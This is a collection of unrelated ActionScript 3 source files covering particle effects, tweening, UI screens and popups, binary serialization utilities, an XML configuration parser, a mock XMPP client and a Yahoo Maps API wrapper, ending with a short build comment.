import idv.cjcat.stardust.common.initializers.Scale;
import idv.cjcat.stardust.common.math.UniformRandom;
import idv.cjcat.stardust.common.particles.Particle;
import idv.cjcat.stardust.threeD.actions.Move3D;
import idv.cjcat.stardust.threeD.actions.StardustSpriteUpdate3D;
import idv.cjcat.stardust.threeD.emitters.Emitter3D;
import idv.cjcat.stardust.threeD.initializers.DisplayObjectClass3D;
import idv.cjcat.stardust.threeD.initializers.Position3D;
import idv.cjcat.stardust.threeD.initializers.Velocity3D;
import idv.cjcat.stardust.threeD.zones.CubeZone;
import idv.cjcat.stardust.twoD.display.StardustSprite;
public class SakuraPetalWrapper extends StardustSprite
{
private var innerWrapper:Sprite;
private var petalOmega:Number;
private var petel:Bitmap;
private var phase:Number;
private var scaleXRate:Number;
private var selfOmega:Number;
public function SakuraPetalWrapper()
{
phase = 0;
//petel = new Bitmap(Main.petelBmd);
petel = new Assets.LOBBY_P1();
innerWrapper = new Sprite();
innerWrapper.addChild(petel);
petel.rotation = Math.random() * 360;
rotation *= Math.random() * 360;
selfOmega = Math.random() * 10;
petalOmega = Math.random() * 10;
scaleXRate = Math.random() * 0.03 + 0.07;
addChild(innerWrapper);
}
override public function update(emitter:Emitter, particle:Particle, time:Number):void
{
petel.rotation += petalOmega * time;
rotation += selfOmega * time;
phase += time;
innerWrapper.scaleX = Math.sin(scaleXRate * phase);
}
}
} |
/**
* VERSION: 1.02
* DATE: 10/2/2009
* ACTIONSCRIPT VERSION: 3.0
* UPDATES AND DOCUMENTATION AT: http://www.TweenMax.com
**/
package com.greensock.plugins {
import flash.display.*;
import flash.geom.Rectangle;
import com.greensock.*;
/**
* Tweens the scrollRect property of a DisplayObject. You can define any (or all) of the following
* properties:
* <code>
* <ul>
* <li> x : Number</li>
* <li> y : Number</li>
* <li> width : Number</li>
* <li> height : Number</li>
* <li> top : Number</li>
* <li> bottom : Number</li>
* <li> left : Number</li>
* <li> right : Number</li>
* </ul>
* </code><br />
*
* <b>USAGE:</b><br /><br />
* <code>
* import com.greensock.TweenLite; <br />
* import com.greensock.plugins.TweenPlugin; <br />
* import com.greensock.plugins.ScrollRectPlugin; <br />
* TweenPlugin.activate([ScrollRectPlugin]); // activation is permanent in the SWF, so this line only needs to be run once.<br /><br />
*
* TweenLite.to(mc, 1, {scrollRect:{x:50, y:300, width:100, height:100}}); <br /><br />
* </code>
*
* <b>Copyright 2010, GreenSock. All rights reserved.</b> This work is subject to the terms in <a href="http://www.greensock.com/terms_of_use.html">http://www.greensock.com/terms_of_use.html</a> or for corporate Club GreenSock members, the software agreement that was issued with the corporate membership.
*
* @author Jack Doyle, jack@greensock.com
*/
public class ScrollRectPlugin extends TweenPlugin {
/** @private **/
public static const API : Number = 1.0;
// If the API/Framework for plugins changes in the future, this number helps determine compatibility
/** @private **/
protected var _target : DisplayObject;
/** @private **/
protected var _rect : Rectangle;
/** @private **/
public function ScrollRectPlugin() {
super();
this.propName = "scrollRect";
this.overwriteProps = ["scrollRect"];
}
/** @private **/
override public function onInitTween(target : Object, value : *, tween : TweenLite) : Boolean {
if (!(target is DisplayObject)) {
return false;
}
_target = target as DisplayObject;
if (_target.scrollRect != null) {
_rect = _target.scrollRect;
} else {
var r : Rectangle = _target.getBounds(_target);
_rect = new Rectangle(0, 0, r.width + r.x, r.height + r.y);
}
for (var p:String in value) {
addTween(_rect, p, _rect[p], value[p], p);
}
return true;
}
/** @private **/
override public function set changeFactor(n : Number) : void {
updateTweens(n);
_target.scrollRect = _rect;
}
}
} |
package net.richardlord.coral.point
{
import com.gskinner.performance.MethodTest;
import com.gskinner.performance.TestSuite;
import net.richardlord.coral.Point3d;
import net.richardlord.coral.Utils;
public class PointCloneTest extends TestSuite
{
private var loops : uint = 1000000;
private var p1 : Point3d;
public function PointCloneTest()
{
name = "VectorCloneTest";
description = "Comparing construction on Vectors " + loops + " loops.";
tareTest = new MethodTest( tare );
iterations = 4;
tests = [
new MethodTest( clonePoint, null, "clonePoint", 0, 1, "Point3d.clone()" ),
];
p1 = Utils.randomPoint();
}
public function tare() : void
{
for (var i : uint = 0; i < loops; i++)
{
}
}
public function clonePoint() : void
{
for (var i : uint = 0; i < loops; i++)
{
var v : Point3d = p1.clone();
}
}
}
}
|
package feathers.examples.layoutExplorer.screens
{
import feathers.controls.Button;
import feathers.controls.PanelScreen;
import feathers.events.FeathersEventType;
import feathers.examples.layoutExplorer.data.TiledColumnsLayoutSettings;
import feathers.layout.TiledColumnsLayout;
import feathers.system.DeviceCapabilities;
import starling.core.Starling;
import starling.display.DisplayObject;
import starling.display.Quad;
import starling.events.Event;
[Event(name="complete",type="starling.events.Event")]
[Event(name="showSettings",type="starling.events.Event")]
public class TiledColumnsLayoutScreen extends PanelScreen
{
public static const SHOW_SETTINGS:String = "showSettings";
public function TiledColumnsLayoutScreen()
{
super();
this.addEventListener(FeathersEventType.INITIALIZE, initializeHandler);
}
public var settings:TiledColumnsLayoutSettings;
private var _backButton:Button;
private var _settingsButton:Button;
protected function initializeHandler(event:Event):void
{
const layout:TiledColumnsLayout = new TiledColumnsLayout();
layout.paging = this.settings.paging;
layout.horizontalGap = this.settings.horizontalGap;
layout.verticalGap = this.settings.verticalGap;
layout.paddingTop = this.settings.paddingTop;
layout.paddingRight = this.settings.paddingRight;
layout.paddingBottom = this.settings.paddingBottom;
layout.paddingLeft = this.settings.paddingLeft;
layout.horizontalAlign = this.settings.horizontalAlign;
layout.verticalAlign = this.settings.verticalAlign;
layout.tileHorizontalAlign = this.settings.tileHorizontalAlign;
layout.tileVerticalAlign = this.settings.tileVerticalAlign;
layout.manageVisibility = true;
this.layout = layout;
this.snapToPages = this.settings.paging != TiledColumnsLayout.PAGING_NONE;
this.snapScrollPositionsToPixels = true;
const isTablet:Boolean = DeviceCapabilities.isTablet(Starling.current.nativeStage);
for(var i:int = 0; i < this.settings.itemCount; i++)
{
var size:Number = (44 + 88 * Math.random()) * this.dpiScale;
if(isTablet)
{
//bigger for tablets, just because there's so much more room
//and this demo should include scrolling
size *= 1.5;
}
var quad:Quad = new Quad(size, size, 0xff8800);
this.addChild(quad);
}
this.headerProperties.title = "Tiled Columns Layout";
if(!DeviceCapabilities.isTablet(Starling.current.nativeStage))
{
this._backButton = new Button();
this._backButton.styleNameList.add(Button.ALTERNATE_NAME_BACK_BUTTON);
this._backButton.label = "Back";
this._backButton.addEventListener(Event.TRIGGERED, backButton_triggeredHandler);
this.headerProperties.leftItems = new <DisplayObject>
[
this._backButton
];
this.backButtonHandler = this.onBackButton;
}
this._settingsButton = new Button();
this._settingsButton.label = "Settings";
this._settingsButton.addEventListener(Event.TRIGGERED, settingsButton_triggeredHandler);
this.headerProperties.rightItems = new <DisplayObject>
[
this._settingsButton
];
}
private function onBackButton():void
{
this.dispatchEventWith(Event.COMPLETE);
}
private function backButton_triggeredHandler(event:Event):void
{
this.onBackButton();
}
private function settingsButton_triggeredHandler(event:Event):void
{
this.dispatchEventWith(SHOW_SETTINGS);
}
}
}
|
/*
*
* Copyright (c) 2013 Sunag Entertainment
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
package sunag.utils
{
import flash.geom.Matrix3D;
import flash.geom.Vector3D;
import flash.utils.ByteArray;
import flash.utils.Endian;
import flash.utils.IDataInput;
import flash.utils.IDataOutput;
public class ByteArrayUtils
{
//
// READER
//
public static function readUInteger(data:IDataInput):uint
{
var v:int = data.readUnsignedByte(),
r:int = v & 0x7F;
if ((v & 0x80) != 0)
{
v = data.readUnsignedByte();
r |= (v & 0x7F) << 7;
if ((v & 0x80) != 0)
{
v = data.readUnsignedByte();
r |= (v & 0x7F) << 13;
}
}
return r;
}
public static function readUnsignedInt24(data:IDataInput):uint
{
return data.readUnsignedShort() | data.readUnsignedByte() << 16;
}
public static function readUTFTiny(data:IDataInput):String
{
return data.readUTFBytes(data.readUnsignedByte());
}
public static function readUTFLong(data:IDataInput):String
{
return data.readUTFBytes(data.readUnsignedInt());
}
public static function readVector3D(data:IDataInput):Vector3D
{
return new Vector3D
(
data.readFloat(),
data.readFloat(),
data.readFloat()
);
}
public static function readVector4D(data:IDataInput):Vector3D
{
return new Vector3D
(
data.readFloat(),
data.readFloat(),
data.readFloat(),
data.readFloat()
);
}
public static function readMatrix3DVector(data:IDataInput):Vector.<Number>
{
var v:Vector.<Number> = new Vector.<Number>(16, true);
v[0] = data.readFloat();
v[1] = data.readFloat();
v[2] = data.readFloat();
v[3] = 0;
v[4] = data.readFloat();
v[5] = data.readFloat();
v[6] = data.readFloat();
v[7] = 0;
v[8] = data.readFloat();
v[9] = data.readFloat();
v[10] = data.readFloat();
v[11] = 0;
v[12] = data.readFloat();
v[13] = data.readFloat();
v[14] = data.readFloat();
v[15] = 1;
return v;
}
public static function readMatrix3D(data:IDataInput):Matrix3D
{
return new Matrix3D(readMatrix3DVector(data));
}
public static function readBlendMode(data:IDataInput):String
{
return DataTable.BLEND_MODE[data.readUnsignedByte()];
}
public static function getTypeInt(type:String):uint
{
var bytes:ByteArray = new ByteArray();
bytes.endian = Endian.LITTLE_ENDIAN;
bytes.writeUnsignedInt(0x00000000);
bytes.position = 0;
bytes.writeUTFBytes(type);
bytes.position = 0;
return bytes.readUnsignedInt();
}
public static function readDataObject(data:ByteArray):ByteArray
{
var bytes:ByteArray = new ByteArray();
bytes.endian = Endian.LITTLE_ENDIAN;
var len:uint = data.readUnsignedInt();
bytes.writeBytes(data, data.position, len);
data.position += len;
return bytes;
}
//
// WRITER
//
public static function writeUInteger(data:IDataOutput, value:int):void
{
var abs:uint = Math.abs(value);
if (abs > 0x3F)
{
data.writeByte((value & 0x7F) | 0x80);
if (abs > 0x1FFF)
{
data.writeByte(((value >> 7) & 0x7F) | 0x80);
data.writeByte((value >> 13) & 0x7F);
}
else
{
data.writeByte((value >> 7) & 0x7F);
}
}
else
{
data.writeByte(value & 0x7F);
}
}
public static function writeVector3D(data:IDataOutput, val:Vector3D):void
{
data.writeFloat( val.x );
data.writeFloat( val.y );
data.writeFloat( val.z );
}
public static function writeVector4D(data:IDataOutput, val:Vector3D):void
{
data.writeFloat( val.x );
data.writeFloat( val.y );
data.writeFloat( val.z );
data.writeFloat( val.w );
}
public static function writeMatrix3D(data:IDataOutput, matrix:Matrix3D):void
{
return writeMatrix3DVector(data, matrix.rawData);
}
public static function writeMatrix3DVector(data:IDataOutput, v:Vector.<Number>):void
{
data.writeFloat( v[0] );
data.writeFloat( v[1] );
data.writeFloat( v[2] );
data.writeFloat( v[4] );
data.writeFloat( v[5] );
data.writeFloat( v[6] );
data.writeFloat( v[8] );
data.writeFloat( v[9] );
data.writeFloat( v[10] );
data.writeFloat( v[12] );
data.writeFloat( v[13] );
data.writeFloat( v[14] );
}
public static function writeBlendMode(data:IDataOutput, blendMode:String):void
{
data.writeByte( DataTable.BLEND_MODE.indexOf(blendMode) );
}
public static function writeUnsignedInt24(data:IDataOutput, val:uint):void
{
data.writeShort(val & 0xFFFF)
data.writeByte(0xFF & (val >> 16));
}
public static function writeDataObject(data:IDataOutput, bytes:ByteArray):void
{
data.writeUnsignedInt(bytes.length);
data.writeBytes(bytes);
}
public static function writeUTFTiny(data:IDataOutput, val:String):void
{
var bytes:ByteArray = new ByteArray();
bytes.writeUTFBytes(val);
data.writeByte(bytes.length);
data.writeBytes(bytes);
}
public static function writeUTFLong(data:IDataOutput, val:String):void
{
var bytes:ByteArray = new ByteArray();
bytes.writeUTFBytes(val);
data.writeUnsignedInt(bytes.length);
data.writeBytes(bytes);
}
}
} |
package io.decagames.rotmg.ui.popups {
import io.decagames.rotmg.ui.popups.header.PopupHeader;
import io.decagames.rotmg.ui.sliceScaling.SliceScalingBitmap;
import io.decagames.rotmg.ui.texture.TextureParser;
public class UIPopup extends BasePopup {
public function UIPopup(_arg_1: int, _arg_2: int) {
super(_arg_1, _arg_2);
this._header = new PopupHeader(_arg_1, PopupHeader.TYPE_FULL);
addChild(this._header);
this.footer = TextureParser.instance.getSliceScalingBitmap("UI", "popup_footer", _arg_1);
this.footer.y = _arg_2 - this.footer.height;
addChild(this.footer);
}
private var footer: SliceScalingBitmap;
private var _background: SliceScalingBitmap;
private var popupType: String;
private var _header: PopupHeader;
public function get header(): PopupHeader {
return this._header;
}
public function dispose(): void {
this._header.dispose();
if (this.footer) {
this.footer.dispose();
}
if (this._background) {
this._background.dispose();
}
}
}
}
|
/*
* Copyright 2007-2011 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springextensions.actionscript.ioc.config.impl.xml.parser.impl.nodeparser {
import org.as3commons.lang.ClassUtils;
import org.as3commons.logging.api.ILogger;
import org.as3commons.logging.api.getClassLogger;
import org.as3commons.reflect.Type;
import org.springextensions.actionscript.ioc.config.impl.xml.parser.IXMLObjectDefinitionsParser;
import org.springextensions.actionscript.ioc.config.impl.xml.parser.impl.XMLObjectDefinitionsParser;
import flash.errors.IllegalOperationError;
import flash.system.ApplicationDomain;
/**
* Parses an array-collection node.
*
* @author Christophe Herreman
* @author Erik Westra
*/
public class ArrayCollectionNodeParser extends AbstractNodeParser {
private static const MXCOLLECTIONS_ARRAY_COLLECTION_CLASS_NAME:String = "mx.collections.ArrayCollection";
private static const ARRAY_COLLECTION_CLASS_CANNOT_BE_CREATED_ERROR:String = "ArrayCollection class cannot be created";
private static var _arrrayCollectionClass:Class;
private static const logger:ILogger = getClassLogger(ArrayCollectionNodeParser);
/**
* Constructs the ArrayCollectionNodeParser.
*
* @param xmlObjectDefinitionsParser The definitions parser using this NodeParser
* @see org.springextensions.actionscript.ioc.factory.xml.parser.support.XMLObjectDefinitionsParser.#ARRAY_COLLECTION_ELEMENT
* @see org.springextensions.actionscript.ioc.factory.xml.parser.support.XMLObjectDefinitionsParser.#LIST_ELEMENT
*/
public function ArrayCollectionNodeParser(xmlObjectDefinitionsParser:IXMLObjectDefinitionsParser) {
super(xmlObjectDefinitionsParser, XMLObjectDefinitionsParser.ARRAY_COLLECTION_ELEMENT);
addNodeNameAlias(XMLObjectDefinitionsParser.LIST_ELEMENT);
}
/**
* @inheritDoc
*/
override public function parse(node:XML):* {
if (_arrrayCollectionClass == null) {
if (!canCreate()) {
throw IllegalOperationError(ARRAY_COLLECTION_CLASS_CANNOT_BE_CREATED_ERROR);
}
}
/*
Putting the items in an array first, the ArrayCollection performs actions
on every addItem() call. This way we can set the source as a onetime operation.
*/
var parsedNodes:Array = [];
logger.debug("Creating new ArrayCollection");
for each (var n:XML in node.children()) {
var value:* = xmlObjectDefinitionsParser.parsePropertyValue(n);
parsedNodes[parsedNodes.length] = value;
logger.debug("Adding value {0} to new ArrayCollection", [value]);
}
return new _arrrayCollectionClass(parsedNodes);
}
/**
* Returns <code>true</code> if the <code>mx.collections.ArrayCollection</code> class is available.
* @param applicationDomain
* @return <code>True</code> if the <code>mx.collections.ArrayCollection</code> class is available.
*/
public static function canCreate(applicationDomain:ApplicationDomain=null):Boolean {
applicationDomain ||= Type.currentApplicationDomain;
try {
var cls:Class = ClassUtils.forName(MXCOLLECTIONS_ARRAY_COLLECTION_CLASS_NAME, applicationDomain);
_arrrayCollectionClass = cls;
logger.debug("{0} can be created, class name was resolved...", [MXCOLLECTIONS_ARRAY_COLLECTION_CLASS_NAME]);
return true;
} catch (e:Error) {
logger.debug("{0} cannot be created, class name was not resolved...", [MXCOLLECTIONS_ARRAY_COLLECTION_CLASS_NAME]);
}
return false;
}
}
}
|
package as_lisp.data
{
/**
* Immutable symbol, interned in a specific package.
* Interned symbols are unique, so we can test for equality using simple ==
*/
public class Symbol
{
/** String name of this symbol */
private var _name :String;
/** Package in this symbol is interned */
private var _pkg :Package;
/** Full (package-prefixed) name of this symbol */
private var _fullName :String;
/** If true, this symbol is visible outside of its package. This can be adjusted later. */
public var exported :Boolean = false;
public function Symbol (name :String, pkg :Package) {
_name = name;
_pkg = pkg;
_fullName = (_pkg != null && _pkg.name != null) ? (_pkg.name + ":" + _name) : _name;
}
/** String name of this symbol */
public function get name () :String { return _name; }
/** Package in which this symbol is interned */
public function get pkg () :Package { return _pkg; }
/** Returns the full name, including package prefix */
public function get fullName () :String { return _fullName; }
/** @inheritDoc */
public function toString () :String {
return "[Symbol " + fullName + "]";
}
}
} |
package visuals.ui.elements.stream
{
import com.playata.framework.display.Sprite;
import com.playata.framework.display.lib.flash.FlashDisplayObjectContainer;
import com.playata.framework.display.lib.flash.FlashSprite;
import flash.display.MovieClip;
public class SymbolStreamListLineEvenGeneric extends Sprite
{
private var _nativeObject:SymbolStreamListLineEven = null;
public function SymbolStreamListLineEvenGeneric(param1:MovieClip = null)
{
if(param1)
{
_nativeObject = param1 as SymbolStreamListLineEven;
}
else
{
_nativeObject = new SymbolStreamListLineEven();
}
super(null,FlashSprite.fromNative(_nativeObject));
var _loc2_:FlashDisplayObjectContainer = _sprite as FlashDisplayObjectContainer;
}
public function setNativeInstance(param1:SymbolStreamListLineEven) : void
{
FlashSprite.setNativeInstance(_sprite,param1);
_nativeObject = param1;
syncInstances();
}
public function syncInstances() : void
{
}
}
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.flexunit.internals.cases
{
public class ArrayComparisonFauilureCase
{
//TODO: The class to test has not yet been implemented
}
} |
package tests.com.mintdigital.mocks {
import com.mintdigital.hemlock.Logger;
import com.mintdigital.hemlock.clients.IClient;
import com.mintdigital.hemlock.data.JID;
import com.mintdigital.hemlock.events.HemlockDispatcher;
import org.jivesoftware.xiff.data.IQ;
import org.mock4as.Mock;
import flash.events.Event;
import flash.events.EventDispatcher;
import flash.utils.ByteArray;
public class MockXMPPClient extends Mock implements IClient {
private var _dispatcher:HemlockDispatcher;
public function addEventStrategies(strategies:Array):void {
record("addEventStrategies", strategies);
}
public function start() : void {
record("start");
}
public function connect() : void {
record("connect");
}
public function logout():void {
record("logout");
};
public function leaveRoom(jid:JID): void {
record("leaveRoom", jid);
};
public function joinRoom(jid:JID) : void {
record("joinRoom", jid);
};
public function createRoom(roomType:String, domain:String, key:String=null):void {
record("createRoom", roomType, domain, key);
};
public function configureRoom(toJID:JID, configOptions:Object=null):void {
record("configureRoom", toJID, configOptions);
};
public function sendMessage(jid:JID, messageBody:String) : void {
record("sendMessage", jid, messageBody);
};
public function sendDataMessage(toJID:JID, payloadType:String, payload:*=null) : void {
record("sendDataMessage", toJID, payloadType, payload || {});
};
public function sendDirectDataMessage(toJID:JID, payloadType:String, payload:*=null) : void {
record("sendDirectDataMessage", toJID, payloadType, payload || {});
};
public function sendPresence(roomJID:JID, options:Object) : void {
record("sendPresence", roomJID, options);
};
public function discoRooms():void {
record("discoRooms");
};
public function discoUsers(roomJID:JID):void {
record("discoUsers", roomJid);
};
public function updatePrivacyList(fromJID:JID, stanzaName:String, action:String, options:Object = null):void {
record("updatePrivacyList",fromJID, stanzaName, action, options);
};
public function get username() : String {
record("username");
return "username";
};
public function set username( arg:String ) : void {
record("username",arg);
};
public function get password() : String {
record("password");
return "password";
};
public function set password( arg:String ) : void {
record("password",arg)
};
public function get avatar() : ByteArray {
return new ByteArray;
};
public function get server() : String {
record("server");
return "string";
};
public function set server( arg:String ) : void {
record("server",arg);
};
public function dispatchEvent( event:Event ) : Boolean {
record("dispatchEvent",event);
return true
};
public function get registering() : Boolean {
record("registering");
return true;
} ;
public function set registering( arg:Boolean ) : void {
record("registering",arg);
};
public function get jid() : JID {
return new JID("test");
};
public function get roomJid() : JID {
return new JID("test");
};
public function handleSessionResponse(packet:IQ):void {
};
public function handleBindResponse(packet:IQ) : void {
};
public function get dispatcher():HemlockDispatcher {
return HemlockDispatcher.getInstance();
}
public function handleRoomDisco(packet:IQ):void {};
public function handleUserDisco(packet:IQ):void {};
}
} |
package org.floxy
{
public namespace floxy_internal;
} |
package kabam.rotmg.game.view.components {
import com.company.assembleegameclient.objects.Player;
import com.company.assembleegameclient.ui.panels.itemgrids.InventoryGrid;
import flash.display.Sprite;
import kabam.rotmg.constants.GeneralConstants;
import kabam.rotmg.ui.model.TabStripModel;
import kabam.rotmg.ui.view.PotionInventoryView;
public class BackpackTabContent extends Sprite {
private var backpackContent:Sprite;
private var backpack:InventoryGrid;
private var backpackPotionsInventory:PotionInventoryView;
public function BackpackTabContent(_arg_1:Player) {
this.backpackContent = new Sprite();
this.backpackPotionsInventory = new PotionInventoryView();
super();
this.init(_arg_1);
this.addChildren();
this.positionChildren();
}
private function init(_arg_1:Player):void {
this.backpackContent.name = TabStripModel.BACKPACK;
this.backpack = new InventoryGrid(_arg_1, _arg_1, (GeneralConstants.NUM_EQUIPMENT_SLOTS + GeneralConstants.NUM_INVENTORY_SLOTS), true);
}
private function positionChildren():void {
this.backpackContent.x = 7;
this.backpackContent.y = 7;
this.backpackPotionsInventory.y = (this.backpack.height + 4);
}
private function addChildren():void {
this.backpackContent.addChild(this.backpack);
this.backpackContent.addChild(this.backpackPotionsInventory);
addChild(this.backpackContent);
}
public function get backpack() : InventoryGrid
{
return this.backpack;
}
}
}//package kabam.rotmg.game.view.components
|
/*
Copyright (c) 2007, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/license.txt
version: 2.2.0
*/
package com.yahoo.webapis.maps.methodgroups {
import com.yahoo.webapis.maps.methodgroups.AbstractMethod;
import com.yahoo.webapis.maps.YahooMapService;
import com.yahoo.webapis.maps.utils.ExternalInterfaceBuffer;
import flash.external.ExternalInterface;
import flash.events.Event;
import com.yahoo.webapis.maps.events.MapEvent;
/**
* This class communicates with the AS2 methods found in the
* com.yahoo.maps.api.flash.YahooMap package. This class extends
* the AbstractMethod class which not only is waiting for some
* "totally cool" new functionality but also contains the current
* instances UUID and swfDomId.
*
* @langversion ActionScript 3.0
* @playerversion Flash 9
* @author Scott Morgan 02/25/2007
*
* @see com.yahoo.maps.api.flash.AbstractMethod
* @see com.yahoo.maps.api.flash.YahooMap
*/
public class MapController extends AbstractMethod {
/**
* @private
* Access to the singleton ExternalInterfaceBuffer where all cross-AVM
* communication occurs.
*
* @see com.yahoo.webapis.maps.utils.ExternalInterfaceBuffer
*/
private var EIBuffer:ExternalInterfaceBuffer = ExternalInterfaceBuffer.getInstance();
/**
* Constructor
*
* @param service YahooMapService class that stores instance config data
*/
public function MapController(service:YahooMapService):void {
super(service.UUID, service.swfDomId);
}
/**
* Set the center position of the map to the specified address.
* If duration is greater than 0, the map will pan for the specified
* number of milliseconds. If the application is unable to geocode the
* address, the MapEventDispatcher class dispatches a "mapGeocodeError" event
* that contains an array of suggested addresses. If the geocode is successful, the
* map pans to that position. The pan length is based on the duration paramater.
*
* @param address - A string that specifies the street address, city, state and zip code on which to center the map.
* @param duration - The number of milliseconds in which to pan (or slide) the map to the specified
* location. A duration of 0 represents no panning and the map moves immediately to the new location.
*
* @see com.yahoo.webapis.maps.events.MapEventDispatcher
*/
public function setCenterByAddress(address:String, duration:Number = 0):void {
EIBuffer.addCall({method:super.swfDomId + ".setCenterByAddress" + super.UUID, data:{address:address, duration:duration}});
}
/**
* Set the center position of the map to the specified address. If duration
* is greater than 0, the map will pan for the specified number of milliseconds.
* If the application is unable to geocode the address, the MapEventDispatcher
* class dispatches a "mapGeocodeError" event that contains an array of suggested
* addresses. If the geocode is successful, the map pans to that position. The
* pan length is based on the duration paramater. The zoom levels ranges from 1 to 17,
* with 1 being the lowest, or closest, level and 17 being the highest, or farthest,
* level. If duration is greater than 0, map will pan first and then zoom.
*
* @param address - A string that specifies the street address, city, state and zip code on which to center the map.
* @param zoom - A number from 1 to 17 that specifies the zoom level at which to view the map.
* @param duration - The number of milliseconds in which to pan (or slide) the map to the specified
* location. A duration of 0 represents no panning and the map moves immediately to the new location.
*
* @see com.yahoo.webapis.maps.events.MapEventDispatcher
*/
public function setCenterByAddressAndZoom(address:String, zoom:Number, duration:Number = 500):void {
EIBuffer.addCall({method:super.swfDomId + ".setCenterByAddressAndZoom" + super.UUID, data:{address:address, zoom:zoom, duration:duration}});
}
/**
* Add a Custome POI (Point of Interest) marker at the specified address. If the application is unable to geocode
* the address, the MapEventDispatcher class dispatches a "mapGeocodeError" event
* that contains an array of suggested addresses. If successful, the MapEventDispatcher
* class dispatches a "markerGeocode_Result" event and a marker is displayed on the map.
*
* @param address - A string that specifies the postal address at which to place the marker on the map.
* @param index - The index string is the marker's index, or label. It is usually a single character
* string such as "A" or "B".
* @param title - The title parameter (string) that is a title that appears when you roll the mouse cursor
* over the marker.
* @param description - The description (string) describes the marker when you click it. This parameter supports
* Flash textfield HTML formatting.
* @param markerColor - The markerColor (number) is a hexadecimal number that specifies the marker's body color when
* the mouse is not over the marker. It also specifies the stroke when the marker expands to display the
* title or the description.
* @param strokeColor - The strokeColor (number) specifies the hexadecimal number that represents the marker's
* stroke color (or outline color) when the mouse is over the marker. It becomes the body color when you
* roll the mouse over the marker to display the title or click the marker to display the description.
*
* @see com.yahoo.webapis.events.MapEventDispatcher
*/
public function addCustomPOIMarker(address:String, index:String, title:String, description:String, markerColor:Number, strokeColor:Number):void {
EIBuffer.addCall({method:super.swfDomId + ".addMarkerByAddress" + super.UUID, data:{address:address, index:index, title:title, description:description, markerColor:markerColor, strokeColor:strokeColor}});
}
/**
* Add a custom swf marker at the specified address. If the application is unable to geocode
* the address, the MapEventDispatcher class dispatches a "mapGeocodeError" event
* that contains an array of suggested addresses. If successful, the MapEventDispatcher
* class dispatches a "markerGeocode_Result" event and a marker is displayed on the map.
*
* @param address - A string that specifies the postal address at which to place the marker on the map.
* @param markerObj - An object containing a url to the custom swf marker and a reference id.
* @example addSWFMarkerByAddress(addressTextInput.text, {url:'customMarker.swf', ref:'myMark'});
* @see com.yahoo.webapis.events.MapEventDispatcher
*/
public function addSWFMarkerByAddress(address:String, markerObj:Object):void {
ExternalInterface.addCallback( 'addSWFMarkerByAddress_Result' + super.UUID, addSWFMarkerByAddress_Result );
EIBuffer.addCall({method:super.swfDomId + ".addSWFMarkerByAddress" + super.UUID, data:{address:address, markerObj:markerObj}});
}
private function addSWFMarkerByAddress_Result():void {
dispatchEvent(new Event('onSWFMarkerAdded'));
}
/**
* Add an image marker at the specified address. If the application is unable to geocode
* the address, the MapEventDispatcher class dispatches a "mapGeocodeError" event
* that contains an array of suggested addresses. If successful, the MapEventDispatcher
* class dispatches a "markerGeocode_Result" event and a marker is displayed on the map.
*
* @param address - A string that specifies the postal address at which to place the marker on the map.
* @param markerObj - An object containing a url to the image that will be loaded as a marker.
* @example addImageMarkerByAddress(addressTextInput.text, {url:'customMarker.swf'});
* @see com.yahoo.webapis.events.MapEventDispatcher
*/
public function addImageMarkerByAddress(address:String, markerObj:Object):void {
EIBuffer.addCall({method:super.swfDomId + ".addImageMarkerByAddress" + super.UUID, data:{address:address, markerObj:markerObj}});
}
/**
* Add an way point marker at the specified address. If the application is unable to geocode
* the address, the MapEventDispatcher class dispatches a "mapGeocodeError" event
* that contains an array of suggested addresses. If successful, the MapEventDispatcher
* class dispatches a "markerGeocode_Result" event and a marker is displayed on the map.
*
* @param address - A string that specifies the postal address at which to place the marker on the map.
* @param markerObj - An object containing a way pint index (a single character string (i.e. 'A' or '1')).
* @example addWayPointMarker(addressTextInput.text, {waypointIndex:'A'});
* @see com.yahoo.webapis.events.MapEventDispatcher
*/
public function addWayPointMarker(address:String, markerObj:Object):void {
EIBuffer.addCall({method:super.swfDomId + ".addWayPointMarker" + super.UUID, data:{address:address, markerObj:markerObj}});
}
public function setMapView(view:String):void {
EIBuffer.addCall({method:super.swfDomId + ".setView" + super.UUID, data:view});
}
/**
* This method removes all markers that have been added to the map.
*
*/
public function removeAllMarkers():void {
EIBuffer.addCall({method:super.swfDomId + ".removeAllMarkers" + super.UUID});
}
}
} |
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// 5. Build with: mxmlc -o msf.swf Main.as
